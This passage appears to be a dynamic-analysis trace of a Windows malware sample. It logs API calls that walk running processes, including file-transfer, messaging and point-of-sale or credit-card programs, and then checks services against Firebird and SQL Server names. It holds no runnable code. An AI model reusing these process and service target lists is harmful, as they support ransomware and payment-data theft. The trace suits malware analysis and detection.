	[0086.589] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0086.590] lstrlenW (lpString="totalcmd.exe") returned 12
	[0086.590] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0086.591] lstrlenW (lpString="trillian.exe") returned 12
	[0086.591] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0086.592] lstrlenW (lpString="webdrive.exe") returned 12
	[0086.592] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0086.592] lstrlenW (lpString="whatsapp.exe") returned 12
	[0086.592] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0086.593] lstrlenW (lpString="winscp.exe") returned 10
	[0086.593] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0086.594] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0086.594] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0086.595] lstrlenW (lpString="active-charge.exe") returned 17
	[0086.595] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0086.595] lstrlenW (lpString="accupos.exe") returned 11
	[0086.596] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0086.596] lstrlenW (lpString="afr38.exe") returned 9
	[0086.596] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0086.597] lstrlenW (lpString="aldelo.exe") returned 10
	[0086.597] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0086.598] lstrlenW (lpString="ccv_server.exe") returned 14
	[0086.598] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0086.781] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0086.781] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0086.814] lstrlenW (lpString="creditservice.exe") returned 17
	[0086.815] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0086.815] lstrlenW (lpString="edcsvr.exe") returned 10
	[0086.815] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0086.816] lstrlenW (lpString="fpos.exe") returned 8
	[0086.816] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0086.817] lstrlenW (lpString="isspos.exe") returned 10
	[0086.817] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0086.817] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0086.817] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0086.818] lstrlenW (lpString="omnipos.exe") returned 11
	[0086.818] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0086.819] lstrlenW (lpString="spcwin.exe") returned 10
	[0086.819] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0086.820] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0086.820] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0086.820] lstrlenW (lpString="utg2.exe") returned 8
	[0086.820] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0086.821] lstrlenW (lpString="explicit.exe") returned 12
	[0086.821] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0086.822] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0086.822] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0086.822] lstrlenW (lpString="taskhostw.exe") returned 13
	[0086.822] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0086.823] lstrlenW (lpString="UsoClient.exe") returned 13
	[0086.823] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0086.824] lstrlenW (lpString="taskhostw.exe") returned 13
	[0086.824] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0086.825] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0086.825] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0086.825] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0086.825] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0086.826] lstrlenW (lpString="conhost.exe") returned 11
	[0086.826] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0086.827] lstrlenW (lpString="conhost.exe") returned 11
	[0086.827] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.827] lstrlenW (lpString="svchost.exe") returned 11
	[0086.827] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0086.828] lstrlenW (lpString="fvppjh.exe") returned 10
	[0086.828] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0086.828] lstrlenW (lpString="svchost.exe") returned 11
	[0086.829] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0086.829] lstrlenW (lpString="cmd.exe") returned 7
	[0086.829] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0086.830] lstrlenW (lpString="conhost.exe") returned 11
	[0086.830] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0086.830] lstrlenW (lpString="dllhost.exe") returned 11
	[0086.830] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0086.831] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0086.831] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0086.831] lstrlenW (lpString="mode.com") returned 8
	[0086.832] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0086.832] lstrlenW (lpString="LogonUI.exe") returned 11
	[0086.832] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0086.833] CloseHandle (hObject=0x360) returned 1
	[0086.833] Sleep (dwMilliseconds=0x1f4) 
	[0087.784] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75e7c8
	[0087.785] EnumServicesStatusExW (in: hSCManager=0x75e7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0087.789] GetLastError () returned 0xea
	[0087.789] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ddc) returned 0x32b6290
	[0087.790] EnumServicesStatusExW (in: hSCManager=0x75e7c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x32b6290, cbBufSize=0x1ddc, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x32b6290, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0087.798] CloseServiceHandle (hSCObject=0x75e7c8) returned 1
	[0087.799] lstrlenW (lpString="Appinfo") returned 7
	[0087.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0087.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0087.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0087.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0087.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0087.799] lstrlenW (lpString="AppXSvc") returned 7
	[0087.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0087.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0087.799] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0087.799] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0087.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0087.799] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0087.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0087.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0087.799] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0087.799] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0087.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0087.799] lstrlenW (lpString="Audiosrv") returned 8
	[0087.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0087.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0087.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0087.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0087.800] lstrlenW (lpString="BFE") returned 3
	[0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0087.800] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0087.800] lstrlenW (lpString="BITS") returned 4
	[0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0087.800] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0087.800] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0087.800] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0087.800] lstrlenW (lpString="CDPSvc") returned 6
	[0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0087.800] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0087.800] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0087.800] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0087.800] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0087.801] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0087.801] lstrlenW (lpString="CryptSvc") returned 8
	[0087.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0087.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0087.801] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0087.801] lstrlenW (lpString="DcomLaunch") returned 10
	[0087.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0087.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0087.801] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0087.801] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0087.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0087.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0087.801] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0087.801] lstrlenW (lpString="Dhcp") returned 4
	[0087.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0087.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0087.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0087.801] lstrlenW (lpString="Dnscache") returned 8
	[0087.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0087.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0087.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0087.801] lstrlenW (lpString="DoSvc") returned 5
	[0087.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0087.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0087.801] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0087.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0087.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0087.802] lstrlenW (lpString="DPS") returned 3
	[0087.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0087.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0087.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0087.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0087.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0087.802] lstrlenW (lpString="DusmSvc") returned 7
	[0087.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0087.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0087.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0087.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0087.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0087.802] lstrlenW (lpString="EventLog") returned 8
	[0087.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0087.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0087.802] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0087.802] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0087.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0087.802] lstrlenW (lpString="EventSystem") returned 11
	[0087.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0087.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0087.802] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0087.802] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0087.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0087.802] lstrlenW (lpString="FontCache") returned 9
	[0087.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0087.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0087.802] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0087.802] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0087.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0087.802] lstrlenW (lpString="gpsvc") returned 5
